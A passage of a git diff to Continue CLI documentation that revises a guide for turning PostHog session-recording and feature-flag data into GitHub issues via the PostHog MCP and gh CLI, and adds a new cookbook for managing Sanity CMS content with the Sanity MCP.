+- [PostHog account](https://posthog.com) with [session recordings enabled](https://posthog.com/docs/session-replay/installation) and data collecting
- Node.js 18+ installed locally
-- Continue CLI account with **active credits** (required for API usage)
+- [Continue CLI](https://docs.continue.dev/guides/cli) with **active credits** (required for API usage)
+- [GitHub CLI](https://cli.github.com/) installed (`gh` command)
@@ -41,413 +50,201 @@ Before starting, ensure you have:
- Continue CLI handles all the complex API interactions - you just need to
- provide the right prompts!
+ Continue CLI handles the complex API interactions - you just need to provide
+ the right prompts!
## Step 1: Set Up Your Credentials
-First, you'll need to gather your API credentials and add them as secrets in Continue CLI.
+First, you'll need to gather your PostHog and GitHub API credentials and add them as secrets in Continue CLI.
-### Get Your PostHog API Credentials
+
+
+ You'll need a **Personal API Key** (not a Project API key) to access session recordings:
-You need a **Personal API Key** (not a Project API key) to access session recordings:
+ 1. Go to [Personal API Keys](https://app.posthog.com/settings/user-api-keys) in PostHog
+ 2. Click **+ Create a personal API Key**
+ 3. Name it "Continue CLI Session Analysis"
+ 4. Select these scopes:
+ - `session_recording:read` - **Required** for accessing session data
+ - `feature_flag:read` - **Required** for feature flag auditing
+ - `insight:read`
+ - `query:read`
+ - `session_recording_playlist:read`
+ 5. Copy the key immediately (you won't see it again!)
+ 6. Note your **Project ID** from your PostHog project settings
+ 7. Note your PostHog host URL (e.g., `https://us.posthog.com` or your custom domain)
+ 8. You'll also need your POSTHOG_AUTH_HEADER value, which is simply `Bearer YOUR_API_KEY`
-1. Go to [Personal API Keys](https://app.posthog.com/settings/user-api-keys) in PostHog
-2. Click **+ Create a personal API Key**
-3. Name it "Continue CLI Session Analysis"
-4. Select these scopes:
- - `session_recording:read` - **Required** for accessing session data
- - `insight:read` - Optional, for additional analytics
-5. Copy the key immediately (you won't see it again!)
-
-
- **Find Your Project Details**: Your Project ID is in your PostHog URL:
- `https://app.posthog.com/project/YOUR_PROJECT_ID`
-
-
-### Get Your GitHub Personal Access Token
-
-1. Go to [GitHub Personal Access Tokens](https://github.com/settings/personal-access-tokens/new)
-2. Click **"Generate new token (classic)"**
-3. Name it "Continue CLI PostHog Analysis"
-4. Select these scopes:
- - `repo` (or just `public_repo` if your repository is public)
- - `issues:write` - **Required** for creating issues
-5. Copy the token immediately
-
-### Add Secrets to Continue CLI
-
-Use Continue CLI's built-in environment setup helper:
-
-```bash
-cn -p "Help me set up my environment for PostHog session analysis. Please:
-1. Check if I have the required secrets configured in Continue CLI:
- - POSTHOG_API_KEY
- - POSTHOG_PROJECT_ID
- - POSTHOG_HOST
- - GITHUB_PAT
-2. If any are missing, guide me through:
- - How to get PostHog Personal API Key from PostHog settings
- - How to find my PostHog Project ID from the URL
- - How to create a GitHub Personal Access Token with issues:write permission
- - How to add these as secrets in Continue CLI
-3. Help me identify my GitHub repository owner and name by:
- - Checking git remote origin URL
- - Or asking me to provide them
-4. Test the API connections by making a simple API call to both PostHog and GitHub to verify the credentials work.
-Please walk me through this setup process step by step."
-```
-
-
- Continue CLI will guide you through adding secrets and testing your API
- connections. Follow the prompts to add: - `POSTHOG_API_KEY`: Your PostHog
- Personal API Key - `POSTHOG_PROJECT_ID`: Your PostHog Project ID -
- `POSTHOG_HOST`: `https://us.posthog.com` (or your custom PostHog host) -
- `GITHUB_PAT`: Your GitHub Personal Access Token
+
+ **Continue Secrets**: The `POSTHOG_AUTH_HEADER` secret should be stored in
+ Continue's secure secrets storage. This keeps your API key safe and the MCP
+ automatically connects to your default PostHog project.
-## Step 2: Analyze PostHog Sessions with Continue CLI
+
+
+ GitHub CLI handles authentication automatically - no manual PAT needed:
-Now you'll use Continue CLI to fetch PostHog session data and analyze it for UX issues. Continue CLI handles all the API calls and analysis automatically.
-
-### Run the Analysis
-
-Use this prompt with Continue CLI to fetch and analyze your PostHog sessions:
-
-```bash
-cn -p "I need you to help me analyze PostHog session recordings to identify UX issues. Please:
-
-1. First, fetch session recordings from PostHog using these details:
- - Use the POSTHOG_API_KEY, POSTHOG_PROJECT_ID, and POSTHOG_HOST from my secrets
- - API endpoint: {POSTHOG_HOST}/api/projects/{POSTHOG_PROJECT_ID}/session_recordings/?limit=20
- - Include Authorization header: 'Bearer {POSTHOG_API_KEY}'
-
-2. Filter the sessions to find problematic ones with either:
- - console_error_count > 0 (JavaScript errors)
- - recording_duration > 300 (sessions longer than 5 minutes)
-
-3. Analyze the filtered sessions and create exactly 3 GitHub issues for the most critical UX problems.
-
-4. Format each issue like this:
-### 1. **Issue Title Here**
-**Problem**: One sentence describing the user problem
-**Technical Causes**: Brief technical explanation
-**Affected Pages**: List the URLs
-**Recommended Fix**:
-- Specific action item 1
-- Specific action item 2
-**Priority**: **HIGH** or **MEDIUM** or **LOW**
-**Impact**: Quantify the impact (e.g., 'Affects 80% of sessions')
-
-Please make the API call, analyze the data, and provide the 3 formatted issues. Base all recommendations on actual patterns in the session data."
-```
-
-
- **What Continue CLI Does:** - Makes authenticated API calls to PostHog using
- your stored secrets - Fetches and filters session recordings automatically -
- Analyzes patterns in the data using AI - Generates structured issue
- descriptions ready for GitHub
-
+ 1. Install GitHub CLI if not already installed
+ 2. Run `gh auth login` and follow the prompts
+ 3. Choose authentication method (browser or token)
+ 4. Grant necessary permissions when prompted (`issues:write` is **required** for creating issues)
+
+
+
- Save the analysis output to a file by adding `> analysis-results.txt` to the
- command if you want to review it later.
+See https://docs.continue.dev/hub/secrets/secret-types#secret-types for adding secrets
-## Step 3: Create GitHub Issues Automatically
+You only need to configure the PostHog MCP credential - it automatically handles project selection. To add environment variables to your Continue Hub account:
-Now use Continue CLI to create GitHub issues from your analysis results:
+1. Go to the [Continue Hub](https://hub.continue.dev)
+2. Sign in to your account
+3. Navigate to your user settings
+4. Look for the "Secrets" section
+5. Add your Personal API Key from PostHog (phx_...) as POSTHOG_AUTH_HEADER secret with format: Bearer YOUR_API_KEY
-```bash
-cn -p "I have analyzed PostHog session data and identified UX issues. Now I need you to create GitHub issues using the GitHub API.
+
+
-Use these details from my secrets:
-- GITHUB_PAT: My GitHub Personal Access Token
-- Repository: Extract from git remote or ask me to specify
+## PostHog GitHub Continuous AI Workflow Options
-For each issue in my analysis:
-1. Parse the issue title, body content, and priority level
-2. Create a GitHub issue via API POST to: https://api.github.com/repos/{owner}/{repo}/issues
-3. Use these headers:
- - Authorization: token {GITHUB_PAT}
- - Accept: application/vnd.github.v3+json
- - Content-Type: application/json
-4. Set labels based on priority:
- - HIGH: [\"bug\", \"high-priority\", \"user-experience\", \"automated\"]
- - MEDIUM: [\"enhancement\", \"medium-priority\", \"user-experience\", \"automated\"]
- - LOW: [\"low-priority\", \"user-experience\", \"automated\"]
-5. Format the issue title as: \"🔍 UX Issue: {original title}\"
+
+ Skip the manual setup and use our pre-built PostHog GitHub agent that includes
+ optimized prompts, rules, and the PostHog MCP for more consistent results.
+
-Please create the GitHub issues and confirm they were successfully created with issue numbers and URLs.
-"
-```
+
+ **How PostHog MCP Works**:
+ - Your API key is tied to your PostHog account and
+ organization
+ - It automatically uses your default project (no project ID
+ needed)
+ - If you have multiple projects, use `mcp__posthog__switch-project` to
+ change
+ - The MCP connects via `https://mcp.posthog.com/sse` using your account context.
+
+
+
+
+
+ **Perfect for:** Immediate results with optimized prompts and built-in debugging
+
+
+
+ Visit the [PostHog Continuous AI Agent](https://hub.continue.dev/continuedev/posthog-continuous-ai-agent) on Continue Hub and click **"Install Agent"** or run:
+
+ ```bash
+ cn --agent continuedev/posthog-continuous-ai-agent
+ ```
+
+ This agent includes:
+ - **Optimized prompts** for PostHog analysis and GitHub issue creation
+ - **Built-in rules** for consistent formatting and error handling
+ - **PostHog MCP** for more reliable API interactions
+
+
+
+ From your project directory, run:
+ ```bash
+ cn "Give me my PostHog Session data and create GitHub issues based on the problems."
+ ```
+
+ That's it! The agent handles everything automatically.
+
+
+
+
+ **Why Use the Agent?** Results are more consistent and debugging is easier thanks to the PostHog MCP integration and pre-tested prompts.
+
+
+
+
+
+
+
+ First, install the [PostHog MCP](https://hub.continue.dev/posthog/posthog-mcp) or run:
+ ```bash
+ npx -y mcp-remote@latest https://mcp.posthog.com/sse --header Authorization:${{ secrets.continuedev/awesome-models-posthog-gh/posthog/posthog-mcp/POSTHOG_AUTH_HEADER }}
+ ```
+
+
+ In the Continue Hub, add the [PostHog GitHub Continuous AI Rules](https://hub.continue.dev/bekah-hawrot-weigel/posthog-github-continuous-ai-rules) to your account for better formatting and error handling.
+
+
+ Use this prompt with Continue CLI to analyze PostHog data and create GitHub issues:
+
+ ```bash
+
+ # In cn TUI mode:
+ "Create GitHub issues from the PostHog analysis using gh CLI:
+ - For each issue, run: gh issue create --title '🔍 UX Issue: [title]' --body '[details]'
+ - Add labels: --label 'bug,user-experience,automated'
+ - Set priority labels (high/medium/low)
+ - Include session data and technical details in the body
+ Execute the commands and confirm each issue was created with URL."
+ ```
+
+
+
+
+
+
+
+ **Why GitHub CLI over GitHub MCP**: While GitHub MCP is available, it can be
+ token-expensive to run. The `gh` CLI is more efficient, requires no API tokens
+ (authenticated via `gh auth login`), and provides a cleaner command-line
+ experience. GitHub MCP remains an option if you prefer full MCP integration.
+
+
+
+ To use the pre-built agent, you need either:
+ - **Continue CLI Pro Plan** with
+ the models add-on, OR
+ - **Your own API keys** added to Continue Hub secrets
+ The agent will automatically detect and use your
+ configuration.
+
+
+
+---
**Repository Labels Required**: Make sure your GitHub repository has these labels:
-- `bug`, `enhancement`
+- `bug`, `enhancement`, `technical-debt`
- `high-priority`, `medium-priority`, `low-priority`
-- `user-experience`, `automated`
+- `user-experience`, `automated`, `feature-flag`, `cleanup`
Create missing labels in your repo at: **Settings → Labels → New label**
- **What Continue CLI Does:** - Parses your analysis results automatically -
- Makes authenticated GitHub API calls using your stored token - Creates
- properly formatted issues with appropriate labels - Checks for duplicate
- issues to avoid spam - Provides confirmation with issue URLs
+ **What Continue CLI Does:**
+ - Parses your analysis results automatically
+ - Makes authenticated GitHub API calls using your stored token
+ - Creates properly formatted issues with appropriate labels
+ - Checks for duplicate issues to avoid spam
+ - Provides confirmation with issue URLs
+
-## Step 4: Set Up Automated GitHub Actions Workflow
-
-Create a GitHub Actions workflow that runs your Continue CLI analysis automatically on a schedule.
-
-### Add GitHub Secrets
-
-First, add these secrets to your GitHub repository:
-
-1. Go to **Repository Settings → Secrets and variables → Actions**
-2. Click **"New repository secret"** and add:
- - `CONTINUE_API_KEY`: Your Continue API key from hub.continue.dev
- - `POSTHOG_API_KEY`: Your PostHog Personal API Key
- - `POSTHOG_PROJECT_ID`: Your PostHog Project ID
- - `POSTHOG_HOST`: `https://us.posthog.com` (or your custom PostHog host)
- - `GITHUB_PAT`: Your GitHub Personal Access Token
-
-### Create GitHub Actions Workflow
-
-Create `.github/workflows/posthog-analysis.yml` in your repository:
-
-```yaml
-name: PostHog Session Analysis with Continue CLI
-
-on:
- schedule:
- - cron: "0 6 * * *" # Run at 6 AM UTC daily
- workflow_dispatch: # Allow manual triggering
-
-jobs:
- analyze:
- runs-on: ubuntu-latest
-
- permissions:
- contents: read
- issues: write
-
- steps:
- - uses: actions/checkout@v4
-
- - name: Set up Node.js
- uses: actions/setup-node@v4
- with:
- node-version: "18"
-
- - name: Install Continue CLI
- run: |
- npm install -g @continuedev/cli
- echo "✅ Continue CLI installed"
- cn --version
-
- - name: Set up environment variables
- run: |
- echo "POSTHOG_API_KEY=${{ secrets.POSTHOG_API_KEY }}" >> $GITHUB_ENV
- echo "POSTHOG_PROJECT_ID=${{ secrets.POSTHOG_PROJECT_ID }}" >> $GITHUB_ENV
- echo "POSTHOG_HOST=${{ secrets.POSTHOG_HOST || 'https://us.posthog.com' }}" >> $GITHUB_ENV
- echo "GITHUB_PAT=${{ secrets.GITHUB_PAT }}" >> $GITHUB_ENV
- echo "GITHUB_OWNER=${{ github.repository_owner }}" >> $GITHUB_ENV
- echo "GITHUB_REPO=$(echo ${{ github.repository }} | cut -d'/' -f2)" >> $GITHUB_ENV
-
- - name: Authenticate with Continue CLI
- run: |
- # Set Continue API key
- export CONTINUE_API_KEY="${{ secrets.CONTINUE_API_KEY }}"
- # Login to Continue CLI
- if ! cn auth login --api-key "$CONTINUE_API_KEY"; then
- echo "❌ Failed to authenticate with Continue CLI"
- exit 1
- fi
- echo "✅ Continue CLI authenticated"
-
- - name: Run PostHog Session Analysis
- run: |
- echo "🎬 Starting PostHog session analysis..."
- # Create the analysis prompt
- cat > analysis_prompt.txt << 'EOF'
- I need you to help me analyze PostHog session recordings to identify UX issues. Please:
-
- 1. First, fetch session recordings from PostHog using these details:
- - Use the POSTHOG_API_KEY, POSTHOG_PROJECT_ID, and POSTHOG_HOST from environment variables
- - API endpoint: $POSTHOG_HOST/api/projects/$POSTHOG_PROJECT_ID/session_recordings/?limit=20
- - Include Authorization header: "Bearer $POSTHOG_API_KEY"
-
- 2. Filter the sessions to find problematic ones with either:
- - console_error_count > 0 (JavaScript errors)
- - recording_duration > 300 (sessions longer than 5 minutes)
-
- 3. Analyze the filtered sessions and create exactly 3 GitHub issues for the most critical UX problems.
-
- 4. Format each issue like this:
- ### 1. **Issue Title Here**
- **Problem**: One sentence describing the user problem
- **Technical Causes**: Brief technical explanation
- **Affected Pages**: List the URLs
- **Recommended Fix**:
- - Specific action item 1
- - Specific action item 2
- **Priority**: **HIGH** or **MEDIUM** or **LOW**
- **Impact**: Quantify the impact (e.g., 'Affects 80% of sessions')
-
- Please make the API call, analyze the data, and provide the 3 formatted issues. Base all recommendations on actual patterns in the session data.
-
- Environment context:
- - POSTHOG_API_KEY: $POSTHOG_API_KEY
- - POSTHOG_PROJECT_ID: $POSTHOG_PROJECT_ID
- - POSTHOG_HOST: $POSTHOG_HOST
- - GitHub Repo: $GITHUB_OWNER/$GITHUB_REPO
- EOF
-
- # Run the analysis
- cn < analysis_prompt.txt > analysis-results.txt 2>&1
-
- # Check if analysis completed
- if [ ! -s analysis-results.txt ]; then
- echo "❌ Analysis failed or produced no output"
- exit 1
- fi
-
- echo "✅ Analysis completed"
- echo "📄 Analysis results preview:"
- head -20 analysis-results.txt
-
- - name: Create GitHub Issues from Analysis
- run: |
- echo "📝 Creating GitHub issues from analysis..."
- # Create the issue creation prompt
- cat > issue_prompt.txt << 'EOF'
- I have analyzed PostHog session data and identified UX issues. Now I need you to create GitHub issues using the GitHub API.
-
- Use these details from environment variables:
- - GITHUB_PAT: My GitHub Personal Access Token
- - Repository: $GITHUB_OWNER/$GITHUB_REPO
-
- For each issue in my analysis:
- 1. Parse the issue title, body content, and priority level
- 2. Create a GitHub issue via API POST to: https://api.github.com/repos/$GITHUB_OWNER/$GITHUB_REPO/issues
- 3. Use these headers:
- - Authorization: token $GITHUB_PAT
- - Accept: application/vnd.github.v3+json
- - Content-Type: application/json
- 4. Set labels based on priority:
- - HIGH: ["bug", "high-priority", "user-experience", "automated"]
- - MEDIUM: ["enhancement", "medium-priority", "user-experience", "automated"]
- - LOW: ["low-priority", "user-experience", "automated"]
- 5. Format the issue title as: "🔍 UX Issue: {original title}"
-
- Please create the GitHub issues and confirm they were successfully created with issue numbers and URLs.
-
- Here's my analysis to process:
- EOF
-
- # Append the analysis results to the prompt
- cat analysis-results.txt >> issue_prompt.txt
-
- # Run the issue creation
- cn < issue_prompt.txt > issue-creation-results.txt 2>&1
-
- echo "✅ Issue creation completed"
- echo "📄 Issue creation results:"
- cat issue-creation-results.txt
-
- - name: Upload Analysis Artifacts
- uses: actions/upload-artifact@v4
- if: always()
- with:
- name: analysis-results-${{ github.run_number }}
- path: |
- analysis-results.txt
- issue-creation-results.txt
- retention-days: 30
-
- - name: Summary
- run: |
- echo "✅ PostHog analysis workflow completed!"
- echo "📊 Check the artifacts for detailed analysis results"
- echo "🐛 Check your repository issues for newly created UX issues"
-```
-
-## Step 5: Testing Your Workflow
-
-### Test Locally First
-
-Before setting up automation, test the workflow locally:
-
-**Test 1: Session Analysis**
-
-```bash
-cn -p "[Paste the PostHog analysis prompt from Step 2]"
-```
-
-Expected: Analysis output with 3 formatted GitHub issues
-
-**Test 2: Issue Creation**
-
-```bash
-cn -p "[Paste the GitHub issue creation prompt from Step 3 with your analysis results]"
-```
-
-Expected: Confirmation of GitHub issues created with URLs
-
-### Test the GitHub Actions Workflow
-
-1. **Manual Trigger**: Go to **Actions** tab in your repository and manually trigger the workflow
-2. **Check Artifacts**: Download the analysis results from the workflow run
-3. **Verify Issues**: Check that GitHub issues were created in your repository
-
-
- **Success Indicators:** - PostHog API returns session data (not empty) -
- Continue CLI generates analysis with identified issues - GitHub issues are
- created with proper labels and formatting - Workflow completes without errors
-
-
-## Troubleshooting
-
-If you encounter issues, use this helpful prompt to diagnose problems:
-
-```bash
-cn -p "Help me set up my environment for PostHog session analysis. Please:
-
-1. Check if I have the required secrets configured in Continue CLI:
- - POSTHOG_API_KEY
- - POSTHOG_PROJECT_ID
- - POSTHOG_HOST
- - GITHUB_PAT
-
-2. If any are missing, guide me through:
- - How to get PostHog Personal API Key from PostHog settings
- - How to find my PostHog Project ID from the URL
- - How to create a GitHub Personal Access Token with issues:write permission
- - How to add these as secrets in Continue CLI
-
-3. Help me identify my GitHub repository owner and name by:
- - Checking git remote origin URL
- - Or asking me to provide them
-
-4. Test the API connections by making a simple API call to both PostHog and GitHub to verify the credentials work.
-
-Please walk me through this setup process step by step."
-```
## What You've Built
After completing this guide, you have a complete **Continuous AI system** that:
-✅ **Monitors user experience** - Automatically fetches and analyzes PostHog session data
-✅ **Identifies problems intelligently** - Uses AI to spot patterns and technical issues
-✅ **Creates actionable tasks** - Generates GitHub issues with specific recommendations
-✅ **Runs autonomously** - Operates daily without manual intervention using GitHub Actions
-✅ **Scales with your team** - Handles growing amounts of session data automatically
+- **Monitors user experience** - Automatically fetches and analyzes PostHog session data
+
+- **Identifies problems intelligently** - Uses AI to spot patterns and technical issues
+
+- **Creates actionable tasks** - Generates GitHub issues with specific recommendations
+
+- **Runs autonomously** - Operates daily without manual intervention using GitHub Actions
+
+- **Scales with your team** - Handles growing amounts of session data automatically
Your system now operates at **[Level 2 Continuous
@@ -459,38 +256,105 @@ After completing this guide, you have a complete **Continuous AI system** that:
## Security Best Practices
- **Protect Your API Keys:** - Store all credentials as GitHub Secrets, never in
- code - Use Continue CLI's secure secret storage - Limit token scopes to
- minimum required permissions - Rotate API keys regularly (every 90 days
- recommended) - Monitor token usage for unusual activity
+
+ **Protect Your API Keys:**
+ - Store all credentials as GitHub Secrets, never in
+ code
+ - Use Continue CLI's secure secret storage
+ - Limit token scopes to minimum required permissions
+ - Rotate API keys regularly (every 90 days recommended)
+ - Monitor token usage for unusual activity
+
-## Advanced Prompts
+## Example Use Cases
+
+Here are practical examples of what you can build with PostHog MCP and Continue CLI:
+
+### Session Recording Analysis (Current Implementation)
+
+The main workflow above focuses on analyzing session recordings to identify UX issues and create GitHub issues automatically.
+
+### Feature Flag Audit and Cleanup
+
+
+ Automatically audit your feature flags to identify unused, outdated, or problematic flags that need attention.
+
+
+**What this workflow does:**
+- Fetches all feature flags from your PostHog project
+- Analyzes flag usage, rollout status, and configuration
+- Identifies flags that may be candidates for removal or updates
+- Creates GitHub issues for flag cleanup tasks
+
+**Example Continue CLI prompts:**
+
+```bash
+# Get all feature flags and analyze them
+cn "Use PostHog MCP to fetch all feature flags with mcp__posthog__feature-flag-get-all. Then analyze each flag to identify: 1) Flags that are 100% rolled out and could be removed, 2) Flags that haven't been updated in 90+ days, 3) Flags with complex targeting that might need simplification, 4) Experimental flags that should be cleaned up."
+
+# Create cleanup issues for identified flags
+cn "For each problematic feature flag identified, create a GitHub issue using gh CLI:
+- Title: '🏁 Feature Flag Cleanup: [flag_name]'
+- Include flag details: rollout percentage, last modified date, targeting rules
+- Add labels: 'technical-debt', 'feature-flag', 'cleanup'
+- Set priority based on risk level (high for 100% rollouts, medium for stale flags)
+- Include specific recommendations for each flag"
+
+# Audit flag performance impact
+cn "Cross-reference feature flags with PostHog performance metrics to identify flags that may be impacting user experience or site performance. Create performance-focused GitHub issues for flags showing negative impact."
+```
+
+**Required PostHog MCP Tools:**
+- `feature-flag-get-all` - Retrieve all feature flags
+- `feature-flag-get-definition` - Get detailed flag configuration
+- `query-run` - Run analytics queries to check flag usage
+- `insights-get-all` - Get insights related to flag performance
+
+**Sample Output:**
+This workflow creates GitHub issues like:
+- "🏁 Feature Flag Cleanup: dark-mode-toggle" (100% rollout, safe to remove)
+- "🏁 Feature Flag Review: experimental-checkout" (unused for 120 days)
+- "🏁 Feature Flag Simplify: complex-user-targeting" (overly complex rules)
+
+### Advanced Prompts
Consider enhancing your workflow with these advanced Continue CLI prompts:
- "Analyze PostHog performance metrics alongside session recordings to
- identify slow page loads affecting user experience"
+ "Analyze [PostHog performance
+ metrics](https://posthog.com/docs/web-analytics) alongside session
+ recordings to identify slow page loads affecting user experience"
"Cross-reference JavaScript console errors with user actions to identify the
root cause of UX issues"
-
- "Analyze how PostHog feature flags impact user behavior in session
- recordings"
+
+ "Use PostHog MCP to correlate feature flag rollouts with performance metrics and user behavior changes to identify flags causing issues"
"Create Slack alerts when critical UX issues are detected in PostHog
- sessions"
+ sessions or when feature flags need attention"
## Next Steps
-1. **Monitor your first issues** - Review the GitHub issues created and implement fixes
-2. **Measure impact** - Track how resolved issues improve PostHog metrics
-3. **Refine prompts** - Adjust the Continue CLI prompts based on issue quality
-4. **Scale the system** - Add more data sources or create specialized analysis workflows
+- Consider [GitHub MCP](https://hub.continue.dev/github/github-mcp) as an alternative (note: can be token-expensive)
+- Configure [Slack MCP](https://hub.continue.dev/slack/slack-mcp) for alerts
+- Set up [PostHog performance monitoring](https://posthog.com/docs/web-analytics)
+- Join the [Continue Discord](https://discord.gg/continue) for support
+
+## Resources
+
+- [PostHog API Documentation](https://posthog.com/docs/api)
+- [PostHog MCP Documentation](https://posthog.com/docs/model-context-protocol)
+- [PostHog Session Replay](https://posthog.com/docs/session-replay)
+- [PostHog Feature Flags](https://posthog.com/docs/feature-flags)
+- [PostHog Error Tracking](https://posthog.com/docs/error-tracking)
+- [GitHub CLI Documentation](https://cli.github.com/)
+- [GitHub MCP on Continue Hub](https://hub.continue.dev/github/github-mcp) (alternative option)
+- [Continue CLI Guide](https://docs.continue.dev/guides/cli)
+- [Continuous AI Best Practices](https://blog.continue.dev/what-is-continuous-ai-a-developers-guide/)
diff --git a/docs/guides/sanity-mcp-continue-cookbook.mdx b/docs/guides/sanity-mcp-continue-cookbook.mdx
new file mode 100644
index 000000000..c5a92b6f7
--- /dev/null
+++ b/docs/guides/sanity-mcp-continue-cookbook.mdx
@@ -0,0 +1,572 @@
+---
+title: "Content Management with Sanity MCP and Continue"
+description: "Set up an AI-powered content management workflow that helps you manage schemas, run GROQ queries, handle documentation, and perform migrations using natural language commands."
+sidebarTitle: "Sanity CMS with Continue"
+---
+
+
+ An AI-powered content management system workflow that uses Continue's AI agent with Sanity
+ MCP to manage schemas, execute GROQ queries, handle migrations, and maintain documentation - all through simple natural language prompts
+
+
+## Prerequisites
+
+Before starting, ensure you have:
+
+- Continue account with **Hub access**
+ - Read: [Understanding Configs — How to get started with Hub configs](/hub/configs/intro)
+- Node.js 20+ installed locally
+- A [Sanity account](https://www.sanity.io/) and project (free tier works)
+- Basic understanding of content management systems
+
+For all options, first:
+
+
+ ```bash
+ npm i -g @continuedev/cli
+ ```
+
+
+
+ ```bash
+ npm install -g @sanity/cli
+ ```
+
+
+
+ To use agents in headless mode, you need a [Continue API key](https://hub.continue.dev/settings/api-keys) and proper environment variable configuration.
+
+
+## Getting Started with Sanity
+
+
+
+New to Sanity? Follow the [Sanity Getting Started Guide](https://www.sanity.io/docs/getting-started) to set up your first project.
+
+**Quick setup:**
+```bash
+npm create sanity@latest
+cd your-project-name
+npm run dev
+```
+
+**Key resources:**
+- [Sanity Studio](https://www.sanity.io/docs/sanity-studio) - Content editing interface
+- [Schema Types](https://www.sanity.io/docs/schema-types) - Define content structure
+- [GROQ](https://www.sanity.io/docs/groq) - Query language for fetching content
+- [Content Lake](https://www.sanity.io/docs/datastore) - Real-time data store
+
+
+
+## Sanity MCP Workflow Options
+
+
+ Skip the manual setup and use our pre-built Sanity Assistant agent that includes
+ the Sanity MCP and optimized content management workflows for more consistent results. You can [remix this agent](/guides/understanding-configs#how-to-get-started-with-hub-configs) to customize it for your specific needs.
+
+
+
+After ensuring you meet the **Prerequisites** above, you have two paths to get started:
+
+
+
+
+
+ Visit the [Sanity Assistant Agent](https://hub.continue.dev/continuedev/sanity-assistant-agent) on Continue Hub and click **"Install Config"** or run:
+
+ ```bash
+ cn --agent continuedev/sanity-assistant-agent
+ ```
+
+ This agent includes:
+ - **[Sanity MCP](https://hub.continue.dev/sanity/sanity-mcp)** pre-configured and ready to use
+ - **Content management rules** for best practices
+ - **Schema optimization** guidelines
+
+
+
+ Start with these beginner-friendly prompts to explore your content:
+
+ ```bash
+ # Content exploration
+ "Show me all blog posts published in the last month"
+
+ # Schema understanding
+ "Show me all the document types in my Sanity schema and explain their relationships"
+
+ # Content management
+ "Create a new product page for our upcoming feature"
+ ```
+
+ That's it! The agent handles everything automatically. For more starter prompts and examples, see the [official Sanity MCP blog post](https://www.sanity.io/blog/model-context-protocol).
+
+
+
+
+ **Why Use the Agent?** The pre-built Sanity Assistant agent provides consistent content management workflows and handles MCP configuration automatically, making it easier to get started with AI-powered CMS operations. Results are more consistent and debugging is easier thanks to the [Sanity MCP](https://hub.continue.dev/sanity/sanity-mcp) integration and pre-tested prompts.
+
+
+
+
+
+
+
+ Go to the [Continue Hub](https://hub.continue.dev) and [create a new agent](https://hub.continue.dev/new?type=agent).
+
+
+
+ Visit the [Sanity MCP on Continue Hub](https://hub.continue.dev/sanity/sanity-mcp) and click **"Install"** to add it to the agent you created in the step above.
+
+ This will add Sanity MCP to your agent's available tools. The Hub listing automatically configures the MCP connection.
+
+
+ **Alternative installation methods:**
+ 1. **Quick CLI install**: `cn --mcp sanity/sanity-mcp`
+ 2. **With config**: Use [Sanity MCP Config](https://hub.continue.dev/sanity/sanity-mcp-config) for environment variable setup
+ 3. **Manual configuration**: Add the MCP to your agent configuration
+
+ Once installed, Sanity MCP tools become available to your Continue agent for all prompts.
+
+
+
+ **Authentication Options:**
+ - **Interactive mode**: OAuth authentication via browser (expires after 7 days)
+ - **Headless/CI mode**: Uses environment variables (SANITY_API_TOKEN, SANITY_PROJECT_ID, etc.)
+
+ See [Sanity MCP Config](https://hub.continue.dev/sanity/sanity-mcp-config) for environment variable setup.
+
+
+
+
+
+ Start with these beginner-friendly prompts:
+ ```bash
+ cn
+ # Try these starter prompts:
+ # "Show me all blog posts published in the last month"
+ # "Show me all the document types in my Sanity schema and explain their relationships"
+ # "Create a new product page for our upcoming feature"
+ ```
+
+ For more examples, see the [Sanity MCP blog post](https://www.sanity.io/blog/model-context-protocol).
+
+
+
+
+
+
+
+ To use the pre-built Sanity Assistant agent, you need either:
+ - **Continue CLI Pro Plan** with the models add-on, OR
+ - **Your own API keys** added to Continue Hub secrets
+
+ The agent will automatically detect and use your configuration along with the pre-configured Sanity MCP for content operations. Note that OAuth authentication will be required on first use.
+
+
+
+---
+
+## Sanity MCP Capabilities
+
+
+ **Sanity MCP** provides comprehensive tools for content management:
+ - Execute [GROQ queries](https://www.sanity.io/docs/groq) to fetch and analyze content
+ - Explore and modify [document schemas](https://www.sanity.io/docs/schema-types)
+ - Manage [content releases](https://www.sanity.io/docs/release-schedules) and versions
+ - Handle content [migrations](https://www.sanity.io/docs/migrating-data) between environments
+ - Automate documentation generation
+ - Perform bulk content operations
+ - Manage [localization](https://www.sanity.io/docs/localization) and translations
+
+ The MCP integrates seamlessly with your existing Sanity workspace, providing AI-powered assistance for both development and content operations.
+
+
+---
+
+## Your First MCP Conversation
+
+With everything set up, you're ready for your first AI-powered content conversation! Try these beginner-friendly starter prompts:
+
+
+
+ ```
+ "Show me all blog posts published in the last month"
+ ```
+
+
+ ```
+ "Create a new product page for our upcoming feature"
+ ```
+
+
+ ```
+ "Update our pricing information across all service pages"
+ ```
+
+
+ ```
+ "Schedule the Easter marketing campaign content release for next Tuesday"
+ ```
+
+
+
+
+**New to MCP?** These prompts demonstrate the power of natural language content management. For more examples and detailed explanations, check out the [official Sanity MCP blog post](https://www.sanity.io/blog/model-context-protocol).
+
+
+## Content Management Recipes
+
+Now you can use natural language prompts to manage your Sanity content and schemas. The Continue agent automatically calls the appropriate Sanity MCP tools.
+
+
+You can add prompts to your agent's configuration for easy access in future sessions. Go to your agent in the [Continue Hub](https://hub.continue.dev), click **Edit**, and add prompts under the **Prompts** section.
+
+
+
+ **Where to run these workflows:**
+ - **IDE Extensions**: Use Continue in VS Code, JetBrains, or other supported IDEs
+ - **Terminal (TUI mode)**: Run `cn` to enter interactive mode, then type your prompts
+ - **CLI (headless mode)**: Use `cn -p "your prompt"` for headless commands
+
+ **Test in Plan Mode First**: Before running operations that might make
+ changes, test your prompts in plan mode (see the [Plan Mode
+ Guide](/guides/plan-mode-guide); press **Shift+Tab** to switch modes in TUI/IDE). This
+ shows you what the agent will do without executing it.
+
+ To run any of the example prompts below in headless mode, use `cn -p "prompt"`
+
+
+
+
+ **About the --auto flag**: The `--auto` flag enables tools to run continuously without manual confirmation. This is essential for headless mode where the agent needs to execute multiple tools automatically to complete tasks like schema exploration, GROQ execution, and content migration.
+
+
+
+### Schema Management
+
+
+ Review and understand your content schema structure.
+
+**Prompt:**
+```
+Show me all document types in my Sanity schema with their fields,
+validation rules, and relationships to other types.
+```
+
+
+
+### GROQ Queries
+
+
+ Run GROQ queries to fetch and analyze content.
+
+**Prompt:**
+```
+Run a GROQ query to fetch all articles published in the last 30 days,
+including their titles, authors, categories, and view counts.
+```
+
+
+
+### Content Operations
+
+
+ Perform bulk operations on your content.
+
